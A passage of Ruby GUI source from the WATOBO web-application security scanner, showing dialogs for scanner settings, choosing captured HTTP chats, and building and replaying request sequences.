puts 'Scanner Settings:' puts settings.to_json puts '---' return settings end def addItem(list_box, item) if item != "" then list_item = list_box.appendItem("#{item}") list_box.setItemData(list_item, item) list_box.sortItems() end showListBox(list_box) if $DEBUG end def selectScanlogDirectory(sender, sel, item) workspace_dt = FXFileDialog.getOpenDirectory(self, "Select Scanlog Directory", @scanlog_dir_dt.value) if workspace_dt != "" then if File.exist?(workspace_dt) then @scanlog_dir_dt.value = workspace_dt @scanlog_dir_text.handle(self, FXSEL(SEL_UPDATE, 0), nil) end end end def removePattern(list_box) index = list_box.currentItem puts "Remove Item #{index}: #{list_box.getItem(index).data}" if $DEBUG if index >= 0 list_box.removeItem(index) end showListBox(list_box) if $DEBUG end def showListBox(list_box) list_box.each do |item| puts item.data end end # def initialize(owner, scan_settings, opts) def initialize(owner, opts) super(owner, opts) @settings = Watobo::Conf::Scanner.to_h # puts @settings[:scanlog_dir] scroller = FXScrollWindow.new(self, :opts => SCROLLERS_NORMAL|LAYOUT_FILL_X|LAYOUT_FILL_Y) scroll_area = FXVerticalFrame.new(scroller, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) gbox = FXGroupBox.new(scroll_area, "Request Limit", LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) gbox_frame = FXVerticalFrame.new(gbox, :opts => LAYOUT_SIDE_TOP|PACK_UNIFORM_WIDTH) FXLabel.new(gbox_frame, "Maximum limit of parallel requests.") frame = FXHorizontalFrame.new(gbox_frame, :opts => LAYOUT_FILL_X) FXLabel.new(frame, "Max. Par. Request:") @max_par_checks = FXDataTarget.new(0) @max_par_checks.value = @settings[:max_parallel_checks] mpc = FXTextField.new(frame, 3, @max_par_checks, FXDataTarget::ID_VALUE, :opts => JUSTIFY_RIGHT|FRAME_GROOVE|FRAME_SUNKEN) mpc.handle(self, FXSEL(SEL_UPDATE, 0), nil) gbox = FXGroupBox.new(scroll_area, "Smart Scan ", LAYOUT_SIDE_LEFT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 80) gbframe = FXVerticalFrame.new(gbox, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) frame = FXHorizontalFrame.new(gbframe, :opts => LAYOUT_FILL_X, :padding => 0) @enable_smart_scan = FXCheckButton.new(frame, "Enable Smart Scan ", nil, 0, JUSTIFY_LEFT|JUSTIFY_TOP|ICON_BEFORE_TEXT) @enable_smart_scan.checkState = @settings[:smart_scan] fxtext = FXText.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|TEXT_WORDWRAP) fxtext.backColor = fxtext.parent.backColor fxtext.disable text = "If Smart Scan is enabled the scanner will reduce the number of checks." fxtext.setText(text) gbox = FXGroupBox.new(scroll_area, "DNS Sensor", LAYOUT_SIDE_LEFT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 80) gbframe = FXVerticalFrame.new(gbox, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) frame = FXHorizontalFrame.new(gbframe, :opts => LAYOUT_FILL_X, :padding => 0) fxtext = FXText.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|TEXT_WORDWRAP) fxtext.backColor = fxtext.parent.backColor fxtext.disable text = "IP address or hostname of DNS sensor. The sensor is used to recognize DNS request originated from the target system, which might be forced by some checks." fxtext.setText(text) input_frame = FXHorizontalFrame.new(gbframe, :opts => LAYOUT_FILL_X) @dns_dt = FXDataTarget.new('') @dns_dt.value = ( @settings.has_key?(:dns_sensor) ? @settings[:dns_sensor] : 'localhost' ) @dns_field = FXTextField.new(input_frame, 20, :target => @dns_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_LEFT|LAYOUT_FILL_X) @reset_dns_btn = FXButton.new(input_frame, "Reset" , :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @reset_dns_btn.connect(SEL_COMMAND){ |sender, sel, item| @dns_dt.value = 'localhost' @dns_field.handle(self, FXSEL(SEL_UPDATE, 0), nil) } #@edit_uniq_parms_btn = FXButton.new(frame, "Non-Unique Parms", :opts => LAYOUT_RIGHT|FRAME_RAISED) fxtext = FXText.new(gbframe, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|TEXT_WORDWRAP) fxtext.backColor = fxtext.parent.backColor fxtext.disable gbox = FXGroupBox.new(scroll_area, "Response Codes", LAYOUT_SIDE_LEFT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 50) gbframe = FXVerticalFrame.new(gbox, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) frame = FXHorizontalFrame.new(gbframe, :opts => LAYOUT_FILL_X, :padding => 0) @ignore_server_errors = FXCheckButton.new(frame, "Ignore Server Errors ", nil, 0, JUSTIFY_LEFT|JUSTIFY_TOP|ICON_BEFORE_TEXT) @ignore_server_errors.checkState = @settings[:ignore_server_errors] #@edit_uniq_parms_btn = FXButton.new(frame, "Non-Unique Parms", :opts => LAYOUT_RIGHT|FRAME_RAISED) fxtext = FXText.new(gbframe, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|TEXT_WORDWRAP) fxtext.backColor = fxtext.parent.backColor fxtext.disable text = "Handle error codes (5xx) as file does not exist" fxtext.setText(text) gbox = FXGroupBox.new(scroll_area, "Passive Checks", LAYOUT_SIDE_LEFT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 150) gbframe = FXVerticalFrame.new(gbox, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) frame = FXVerticalFrame.new(gbframe, :opts => LAYOUT_FILL_X, :padding => 0) @enable_passive_checks = FXCheckButton.new(frame, "Enable Passive Checks", nil, 0, JUSTIFY_LEFT|JUSTIFY_TOP|ICON_BEFORE_TEXT) @enable_passive_checks.checkState = @settings[:run_passive_checks] fxtext = FXText.new(gbframe, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|TEXT_WORDWRAP) fxtext.backColor = fxtext.parent.backColor fxtext.disable text = "Run Passive Checks on each single test request.\nWARNING!!!\nThis may produce a lot of False Positive Results." fxtext.setText(text) gbframe = FXGroupBox.new(scroll_area, "Non-Unique-Parameters", LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) frame = FXVerticalFrame.new(gbframe, :opts => LAYOUT_FILL_X, :padding => 0) fxtext = FXText.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|TEXT_WORDWRAP) fxtext.backColor = fxtext.parent.backColor fxtext.disable text = "Parameters which have a special function should be ignored for smart-scanning, e.g. if you app has parms like 'action=AddUser' or 'action=DeleteUser' you should add 'action' to this list." fxtext.setText(text) input_frame = FXHorizontalFrame.new(frame, :opts => LAYOUT_FILL_X) @nup_dt = FXDataTarget.new('') @nup_field = FXTextField.new(input_frame, 20, :target => @nup_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_LEFT|LAYOUT_FILL_X) @rem_nup_btn = FXButton.new(input_frame, "Remove" , :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @add_nup_btn = FXButton.new(input_frame, "Add" , :opts => BUTTON_NORMAL|LAYOUT_RIGHT) list_frame = FXVerticalFrame.new(frame, :opts => LAYOUT_FILL_X|FRAME_SUNKEN, :padding => 0) @nup_list = FXList.new(list_frame, :opts => LIST_EXTENDEDSELECT|LAYOUT_FILL_X|LAYOUT_FILL_Y) @nup_list.numVisible = 5 @nup_list.connect(SEL_COMMAND){ |sender, sel, item| @nup_dt.value = sender.getItemText(item) @nup_field.handle(self, FXSEL(SEL_UPDATE, 0), nil) } @settings[:non_unique_parms].each do |nup| addItem(@nup_list, nup) end @rem_nup_btn.connect(SEL_COMMAND){ |sender, sel, item| removePattern(@nup_list) if @nup_dt.value != '' @nup_dt.value = '' @nup_field.handle(self, FXSEL(SEL_UPDATE, 0), nil) } @add_nup_btn.connect(SEL_COMMAND){ |sender, sel, item| addItem(@nup_list, @nup_dt.value) if @nup_dt.value != '' @nup_dt.value = '' @nup_field.handle(self, FXSEL(SEL_UPDATE, 0), nil) } @nup_dt.connect(SEL_COMMAND){ |sender, sel, item| addItem(@nup_list, @nup_dt.value) if @nup_dt.value != '' @nup_dt.value = '' @nup_field.handle(self, FXSEL(SEL_UPDATE, 0), nil) } @exp_dt = FXDataTarget.new('') exp_frame = FXGroupBox.new(scroll_area, "Excluded Parameters", LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) frame = FXVerticalFrame.new(exp_frame, :opts => LAYOUT_FILL_X, :padding => 0) fxtext = FXText.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|TEXT_WORDWRAP) fxtext.backColor = fxtext.parent.backColor fxtext.disable text = "Parameters which should not be tested during a scan." fxtext.setText(text) input_frame = FXHorizontalFrame.new(frame, :opts => LAYOUT_FILL_X) @exp_dt = FXDataTarget.new('') @exp_field = FXTextField.new(input_frame, 20, :target => @exp_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_LEFT|LAYOUT_FILL_X) @rem_exp_btn = FXButton.new(input_frame, "Remove" , :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @add_exp_btn = FXButton.new(input_frame, "Add" , :opts => BUTTON_NORMAL|LAYOUT_RIGHT) list_frame = FXVerticalFrame.new(frame, :opts => LAYOUT_FILL_X|FRAME_SUNKEN, :padding => 0) @exp_list = FXList.new(list_frame, :opts => LIST_EXTENDEDSELECT|LAYOUT_FILL_X|LAYOUT_FILL_Y) @exp_list.numVisible = 5 @settings[:excluded_parms].each do |exp| addItem(@exp_list, exp) end @exp_list.connect(SEL_COMMAND){ |sender, sel, item| @exp_dt.value = sender.getItemText(item) @exp_field.handle(self, FXSEL(SEL_UPDATE, 0), nil) } @rem_exp_btn.connect(SEL_COMMAND){ |sender, sel, item| removePattern(@exp_list) if @exp_dt.value != '' @exp_dt.value = '' @exp_field.handle(self, FXSEL(SEL_UPDATE, 0), nil) } @add_exp_btn.connect(SEL_COMMAND){ |sender, sel, item| addItem(@exp_list, @exp_dt.value) if @exp_dt.value != '' @exp_dt.value = '' @exp_field.handle(self, FXSEL(SEL_UPDATE, 0), nil) } @exp_dt.connect(SEL_COMMAND){ |sender, sel, item| addItem(@exp_list, @exp_dt.value) if @exp_dt.value != '' @exp_dt.value = '' @exp_field.handle(self, FXSEL(SEL_UPDATE, 0), nil) } ############################################################# @cep_dt = FXDataTarget.new('') cep_frame = FXGroupBox.new(scroll_area, "Custom Error Pages", LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) frame = FXVerticalFrame.new(cep_frame, :opts => LAYOUT_FILL_X, :padding => 0) fxtext = FXText.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|TEXT_WORDWRAP) fxtext.backColor = fxtext.parent.backColor fxtext.disable text = "Regex-Pattern to identify custom error pages. Header and Body will be checked." fxtext.setText(text) input_frame = FXHorizontalFrame.new(frame, :opts => LAYOUT_FILL_X) @cep_dt = FXDataTarget.new('') @cep_field = FXTextField.new(input_frame, 20, :target => @cep_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_LEFT|LAYOUT_FILL_X) @rem_cep_btn = FXButton.new(input_frame, "Remove" , :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @add_cep_btn = FXButton.new(input_frame, "Add" , :opts => BUTTON_NORMAL|LAYOUT_RIGHT) list_frame = FXVerticalFrame.new(frame, :opts => LAYOUT_FILL_X|FRAME_SUNKEN, :padding => 0) @cep_list = FXList.new(list_frame, :opts => LIST_EXTENDEDSELECT|LAYOUT_FILL_X|LAYOUT_FILL_Y) @cep_list.numVisible = 5 @settings[:custom_error_patterns].each do |exp| addItem(@cep_list, exp) end @cep_list.connect(SEL_COMMAND){ |sender, sel, item| @cep_dt.value = sender.getItemText(item) @cep_field.handle(self, FXSEL(SEL_UPDATE, 0), nil) } @rem_cep_btn.connect(SEL_COMMAND){ |sender, sel, item| removePattern(@cep_list) if @cep_dt.value != '' @cep_dt.value = '' @cep_field.handle(self, FXSEL(SEL_UPDATE, 0), nil) } @add_cep_btn.connect(SEL_COMMAND){ |sender, sel, item| addItem(@cep_list, @cep_dt.value) if @cep_dt.value != '' @cep_dt.value = '' @cep_field.handle(self, FXSEL(SEL_UPDATE, 0), nil) } @cep_dt.connect(SEL_COMMAND){ |sender, sel, item| addItem(@cep_list, @cep_dt.value) if @cep_dt.value != '' @cep_dt.value = '' @cep_field.handle(self, FXSEL(SEL_UPDATE, 0), nil) } ############################################################# gbox = FXGroupBox.new(scroll_area, "Logging", LAYOUT_SIDE_LEFT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 150) scan_opt_frame = FXVerticalFrame.new(gbox, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) @log_scan_cb = FXCheckButton.new(scan_opt_frame, "Log Scan", nil, 0, JUSTIFY_LEFT|JUSTIFY_TOP|ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) @log_scan_cb.checkState = false @log_scan_cb.connect(SEL_COMMAND) do |sender, sel, item| if @log_scan_cb.checked? then @scanlog_dir_text.enabled = true @scanlog_dir_label.enabled = true @scanlog_dir_btn.enable else @scanlog_dir_text.enabled = false @scanlog_dir_label.enabled = false @scanlog_dir_btn.disable end end @scanlog_dir_dt = FXDataTarget.new('') unless @settings[:scanlog_dir].nil? then @scanlog_dir_dt.value = @settings[:scanlog_dir] if File.exist?(@settings[:scanlog_dir]); end @scanlog_dir_label = FXLabel.new(scan_opt_frame, "Scan-Log Directory:" ) scanlog_frame = FXHorizontalFrame.new(scan_opt_frame,:opts => LAYOUT_FILL_X|LAYOUT_SIDE_TOP) @scanlog_dir_text = FXTextField.new(scanlog_frame, 20, :target => @scanlog_dir_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_FILL_COLUMN) @scanlog_dir_text.handle(self, FXSEL(SEL_UPDATE, 0), nil) @scanlog_dir_btn = FXButton.new(scanlog_frame, "Change") @scanlog_dir_btn.connect(SEL_COMMAND, method(:selectScanlogDirectory)) @scanlog_dir_text.enabled = false @scanlog_dir_label.enabled = false @scanlog_dir_btn.disable end end # # Class: SelectNonUniqueParmsDialog # class ScannerSettingsDialog < FXDialogBox include Responder attr :scanner_settings def onAccept(sender, sel, event) new_settings = Watobo::Conf::Scanner.to_h new_settings.update @scannerSettingsFrame.getSettings() Watobo::Conf::Scanner.set new_settings Watobo::Gui.save_scanner_settings getApp().stopModal(self, 1) self.hide() return 1 end def initialize(owner, prefs) super(owner, "Scanner Settings", DECOR_TITLE|DECOR_BORDER, :width => 400, :height => 500) # @scanner_settings = scanner_settings FXMAPFUNC(SEL_COMMAND, ID_ACCEPT, :onAccept) base_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) # puts "create scopeframe with scope:" # @project.scope # @defineScopeFrame = DefineScopeFrame.new(base_frame, Watobo::Chats.sites(), YAML.load(YAML.dump(@project.scope)), prefs) @scannerSettingsFrame = ScannerSettingsFrame.new(base_frame, :opts => SCROLLERS_NORMAL|LAYOUT_FILL_X|LAYOUT_FILL_Y) buttons_frame = FXHorizontalFrame.new(base_frame, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_TOP) @finishButton = FXButton.new(buttons_frame, "Accept" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @finishButton.enable @finishButton.connect(SEL_COMMAND) do |sender, sel, item| #self.handle(self, FXSEL(SEL_COMMAND, ID_CANCEL), nil) self.handle(self, FXSEL(SEL_COMMAND, ID_ACCEPT), nil) end @cancelButton = FXButton.new(buttons_frame, "Cancel" , :target => self, :selector => FXDialogBox::ID_CANCEL, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) end end end end if __FILE__ == $0 # TODO Generated stub end watobo-1.0.1/lib/watobo/gui/select_chat_dialog.rb000066400000000000000000000127711366346341400217750ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class SelectChatDialog < FXDialogBox include Watobo::Gui::Utils attr :selection def chatClicked(item) begin @request_viewer.setText('') @response_viewer.setText('') #row = sender.getCurrentRow row = item.row if row >= 0 then @chatTable.selectRow(row) chatid = @chatTable.getRowText(row).to_i # @logText.appendText("selected ID: (#{chatid})\n") Watobo::Chats.each do |chat| if chat.id == chatid then @sel_chat = chatid showChat(chat) break end end end rescue => bang puts "!!!ERROR: onTableClick" puts bang puts "!!!" end 0 end def onTableClick(sender, sel, item) chatClicked(item) end def onTableDoubleClick(sender, sel, item) chatClicked(item) addSelection() end def showChat(chat) @request_viewer.setText(cleanupHTTP(chat.request)) @response_viewer.setText(cleanupHTTP(chat.response)) end def selectChat(sender, sel, item) addSelection() end def updateTable() chats = nil if @show_scope_only.checked? chats = Watobo::Chats.in_scope else chats = Watobo::Chats.to_a end @chatTable.showConversation( chats ) end def addSelection() if @sel_chat then if @selection.value == '' then @selection.value = @sel_chat.to_s else @selection.value = @selection.value + "," + @sel_chat.to_s end @selection_text.handle(self, FXSEL(SEL_UPDATE, 0), nil) end end def initialize(owner, title) # @chat_selection = [] @selection = FXDataTarget.new('') @sel_chat = nil super(owner, title, DECOR_ALL, :width=>600, :height=>600) main_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) splitter = FXSplitter.new(main_frame, LAYOUT_SIDE_TOP|LAYOUT_FILL_X|SPLITTER_VERTICAL|LAYOUT_FILL_Y|SPLITTER_TRACKING) top_frame = FXVerticalFrame.new(splitter, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_NONE, :height => 300, :padding => 0) preview_frame = FXVerticalFrame.new(splitter, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :height => 300, :padding => 0) quick_filter_gb = FXGroupBox.new(top_frame, "Quick Filter", FRAME_GROOVE|LAYOUT_FILL_X) quick_filter_frame = FXHorizontalFrame.new(quick_filter_gb, :opts => FRAME_NONE|LAYOUT_FILL_X, :padding => 0) @show_scope_only = FXCheckButton.new(quick_filter_frame, "scope only", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) @show_scope_only.setCheck(false) @show_scope_only.connect(SEL_COMMAND) { updateTable } table_frame = FXVerticalFrame.new(top_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_GROOVE) @chatTable = ConversationTable.new(table_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @chatTable.connect(SEL_CLICKED, method(:onTableClick)) @chatTable.connect(SEL_DOUBLECLICKED, method(:onTableDoubleClick)) selection_frame = FXHorizontalFrame.new(table_frame, :opts => LAYOUT_FILL_X) button = FXButton.new(selection_frame, "Select Chat >", nil, nil, 0, FRAME_RAISED|FRAME_THICK|LAYOUT_LEFT) button.connect(SEL_COMMAND, method(:selectChat)) @selection_text = FXTextField.new(selection_frame, 20, @selection, FXDataTarget::ID_VALUE, FRAME_SUNKEN|FRAME_THICK|LAYOUT_FILL_X) #FXLabel.new(chat_filter_frame, "Filter") updateTable() tabBook = FXTabBook.new(preview_frame, nil, 0, LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_RIGHT, :padding => 0) req_tab = FXTabItem.new(tabBook, "Request", nil) #@request_viewer = Watobo::Gui::ChatViewer.new(tabBook, FRAME_THICK|FRAME_RAISED|LAYOUT_FILL_X|LAYOUT_FILL_Y) text_frame = FXVerticalFrame.new(tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK) @request_viewer = FXText.new(text_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @request_viewer.editable = false resp_tab = FXTabItem.new(tabBook, "Response", nil) text_frame = FXVerticalFrame.new(tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK) @response_viewer = FXText.new(text_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @response_viewer.editable = false # @response_viewer = Watobo::Gui::ChatViewer.new(tabBook, LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_GROOVE) button_frame = FXHorizontalFrame.new(main_frame, :opts => LAYOUT_FILL_X) FXButton.new(button_frame, "OK" , :target => self, :selector => FXDialogBox::ID_ACCEPT, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) FXButton.new(button_frame, "Cancel" , :target => self, :selector => FXDialogBox::ID_CANCEL, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) end end #-- end end watobo-1.0.1/lib/watobo/gui/sequencer/000077500000000000000000000000001366346341400176355ustar00rootroot00000000000000watobo-1.0.1/lib/watobo/gui/sequencer/sequencer.rb000066400000000000000000000267151366346341400221670ustar00rootroot00000000000000module Watobo module Gui class SequencerDlg < FXDialogBox @@save_dir = Watobo.workspace_path include Watobo::Constants include Watobo::Gui::Icons def settings { :name => @seq_name_dt.value, :sequence => @sequence.map {|e| e.to_h} } end def initialize(owner) # Invoke base class initialize function first super(owner, "Sequencer", :opts => DECOR_ALL, :width => 850, :height => 600) self.icon = ICON_SEQUENCER @seq_name_dt = FXDataTarget.new('Untitled') @seq_name_dt.connect(SEL_CHANGED) do update_title end @sequence = [] @active_element = nil main_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y) ctrl_frame = FXHorizontalFrame.new(main_frame, :opts => LAYOUT_FILL_X | FRAME_GROOVE, :height => 500) FXLabel.new(ctrl_frame, "Name", :opts => LAYOUT_CENTER_Y) @filter_text = FXTextField.new(ctrl_frame, 15, :target => @seq_name_dt, :selector => FXDataTarget::ID_VALUE, :opts => FRAME_SUNKEN | FRAME_THICK | LAYOUT_FILL_Y) button = FXButton.new(ctrl_frame, "Run Sequence", nil, nil, 0, FRAME_RAISED | FRAME_THICK) button.connect(SEL_COMMAND) {run_sequence} @logChat = FXCheckButton.new(ctrl_frame, "Log Chat", nil, 0, ICON_BEFORE_TEXT | LAYOUT_CENTER_Y) @logChat.checkState = false @load_btn = FXButton.new(ctrl_frame, "Load", nil, nil, 0, FRAME_RAISED | FRAME_THICK) @save_btn = FXButton.new(ctrl_frame, "Save", nil, nil, 0, FRAME_RAISED | FRAME_THICK) @status_label = FXLabel.new(ctrl_frame, "Unsaved", :opts => LAYOUT_CENTER_Y) @save_btn.connect(SEL_COMMAND) {save_sequence} @load_btn.connect(SEL_COMMAND) {load_sequence} splitter = FXSplitter.new(main_frame, LAYOUT_FILL_X | SPLITTER_HORIZONTAL | LAYOUT_FILL_Y | SPLITTER_TRACKING) left_frame = FXVerticalFrame.new(splitter, :opts => LAYOUT_FIX_WIDTH | LAYOUT_FILL_Y, :width => 400, :padding => 0) seq_ctrl_frame = FXHorizontalFrame.new(left_frame, :opts => LAYOUT_FILL_X | FRAME_GROOVE, :padding => 0) @add_btn = FXButton.new(seq_ctrl_frame, "Add", nil, nil, 0, FRAME_RAISED | FRAME_THICK) @add_btn.connect(SEL_COMMAND) {add_sample} del_btn = FXButton.new(seq_ctrl_frame, "Delete", nil, nil, 0, FRAME_RAISED | FRAME_THICK) up_btn = FXButton.new(seq_ctrl_frame, "Up", nil, nil, 0, FRAME_RAISED | FRAME_THICK) down_btn = FXButton.new(seq_ctrl_frame, "Down", nil, nil, 0, FRAME_RAISED | FRAME_THICK) table_frame = FXHorizontalFrame.new(left_frame, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y | FRAME_SUNKEN | FRAME_THICK, :height => 500, :padding => 0) @seqTable = FXTable.new(table_frame, :opts => TABLE_COL_SIZABLE | TABLE_ROW_SIZABLE | LAYOUT_FILL_X | LAYOUT_FILL_Y | LAYOUT_SIDE_TOP, :padding => 0) @seqTable.columnHeader.connect(SEL_COMMAND) do |sender, sel, index| # we need this dummy handler here, otherwise app will crash if columnHeader is clicked # but table has no rows. end @seqTable.connect(SEL_COMMAND) do |sender, sel, item| begin row = item.row row_selected(row) rescue => bang puts bang puts bang.backtrace if $DEBUG end end @seqTable.connect(SEL_CHANGED) do |sender, sel, item| # puts 'SEL_CHANGED' begin row = item.row row_selected(row) rescue => bang puts bang puts bang.backtrace if $DEBUG end end @seqTable.connect(SEL_REPLACED) do |sender, sel, item| # puts 'SEL_REPLACED' row = item.to.row apply_table row_selected(row) end right_frame = FXVerticalFrame.new(splitter, :opts => LAYOUT_FIX_WIDTH | LAYOUT_FILL_Y, :width => 400, :padding => 0) tab_frame = FXVerticalFrame.new(right_frame, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y | FRAME_GROOVE, :height => 500) request_info_frame = FXHorizontalFrame.new(tab_frame, :opts => LAYOUT_FILL_X | FRAME_GROOVE, :height => 500) @element_label = FXLabel.new(request_info_frame, "Selected Element: N/A", :opts => LAYOUT_CENTER_Y) @tabBook = FXTabBook.new(tab_frame, nil, 0, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y | LAYOUT_RIGHT) ftab = FXTabItem.new(@tabBook, "Request", nil) #ftab.setFont(FXFont.new(getApp(), "helvetica", 12, FONTWEIGHT_BOLD, FONTENCODING_DEFAULT)) request_frame = FXVerticalFrame.new(@tabBook, :opts => LAYOUT_FIX_WIDTH | LAYOUT_FILL_Y | FRAME_RAISED, :width => 100) editor_frame = FXVerticalFrame.new(request_frame, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y, :padding => 0) @request_editor = Watobo::Gui::RequestEditor.new(editor_frame, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y | FRAME_SUNKEN | FRAME_THICK, :padding => 0) # frame = FXVerticalFrame.new(tab_frame, :opts => LAYOUT_FILL_Y | LAYOUT_FILL_X | FRAME_SUNKEN, :padding => 0) stab = FXTabItem.new(@tabBook, "Handler", nil) # stab.setFont(FXFont.new(getApp(), "helvetica", 12, FONTWEIGHT_BOLD, FONTENCODING_DEFAULT)) frame = FXVerticalFrame.new(@tabBook, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y | FRAME_RAISED) tab_frame = FXVerticalFrame.new(frame, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y | FRAME_GROOVE) frame = FXHorizontalFrame.new(tab_frame, :opts => LAYOUT_FILL_X, :padding => 0) FXLabel.new(frame, "lambda{|response|").setFont(FXFont.new(getApp(), "helvetica", 9, FONTWEIGHT_BOLD, FONTENCODING_DEFAULT)) @handler_editor = Watobo::Gui::RequestEditor.new(tab_frame, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y | FRAME_SUNKEN | FRAME_THICK, :padding => 0) frame = FXHorizontalFrame.new(tab_frame, :opts => LAYOUT_FILL_X, :padding => 0) FXLabel.new(frame, "}").setFont(FXFont.new(getApp(), "helvetica", 9, FONTWEIGHT_BOLD, FONTENCODING_DEFAULT)) #frame = FXVerticalFrame.new(tab_frame, :opts => LAYOUT_FILL_Y | LAYOUT_FILL_X | FRAME_SUNKEN, :padding => 0) #@sites_tree = Watobo::Gui::SitesTree.new(frame, self, nil) ftab = FXTabItem.new(@tabBook, "Logs", nil) #ftab.setFont(FXFont.new(getApp(), "helvetica", 12, FONTWEIGHT_BOLD, FONTENCODING_DEFAULT)) tab_frame = FXVerticalFrame.new(@tabBook, :opts => LAYOUT_FIX_WIDTH | LAYOUT_FILL_Y | FRAME_RAISED, :width => 100) @log_viewer_frame = LogViewerFrame.new(tab_frame, :opts => LAYOUT_FILL_Y | LAYOUT_FILL_X | FRAME_SUNKEN, :padding => 0) initSeqTable update_title end private def initSeqTable @seqTable.clearItems(false) @seqTable.setTableSize(0, 2) @seqTable.rowHeader.width = 35 @seqTable.setColumnWidth(0, 100) @seqTable.setColumnWidth(1, 200) @seqTable.setColumnText(0, "Name") @seqTable.setColumnText(1, "Description") end def save_sequence apply_tabBook(@active_element) apply_table begin # puts @project.settings[:session_path] # path = @project.settings[:session_path]+"/" filename = FXFileDialog.getSaveFilename(self, "Save file", @@save_dir, "All Files (*)") unless filename.empty? File.open(filename, "w") {|fh| fh.puts settings.to_json } @@save_dir = File.dirname(filename + '/*') end rescue => bang puts bang puts bang.backtrace if $DEBUG end end def load_sequence begin # puts @project.settings[:session_path] # path = @project.settings[:session_path]+"/" filename = FXFileDialog.getSaveFilename(self, "Save file", @@save_dir, "All Files (*)") unless filename.empty? s = JSON.parse File.read(filename) puts s @sequence = s['sequence'].map {|e| OpenStruct.new e.to_h} @seq_name_dt.value = s['name'] update_title refresh_table @@save_dir = File.dirname(filename + '/*') end rescue => bang puts bang puts bang.backtrace if $DEBUG end end def run_sequence prefs = Watobo::Conf::Scanner.to_h session = Watobo::Session.new(Time.now.to_i, prefs) @sequence.each do |s| puts "Sequence ##{s.index}" next if s.request.strip.empty? s.request.extend Watobo::Mixins::RequestParser test_request = s.request.to_request puts test_request request, response = session.doRequest(test_request, prefs) # run response handler unless s.handler.strip.empty? handler = create_handler(s.handler) handler.call(response) end if @logChat.checked? == true chat = Watobo::Chat.new(request, response, :source => CHAT_SOURCE_MANUAL, :run_passive_checks => false) Watobo::Chats.add(chat) end end end def update_title self.title = 'Sequencer: ' + @seq_name_dt.value end def row_selected(row) # apply tabBook to active element apply_tabBook(@active_element) # set selected row as active element @active_element = @sequence[row] @element_label.text = 'Selected Element: ' + @active_element.name # update tabBook update_tabBook(@active_element) # @seqTable.selectRow(row, false) end def add_sample index = @seqTable.numRows @sequence << OpenStruct.new(:index => index, :name => "Unnamed #{index}", :description => '', :request => '', :handler => '' ) 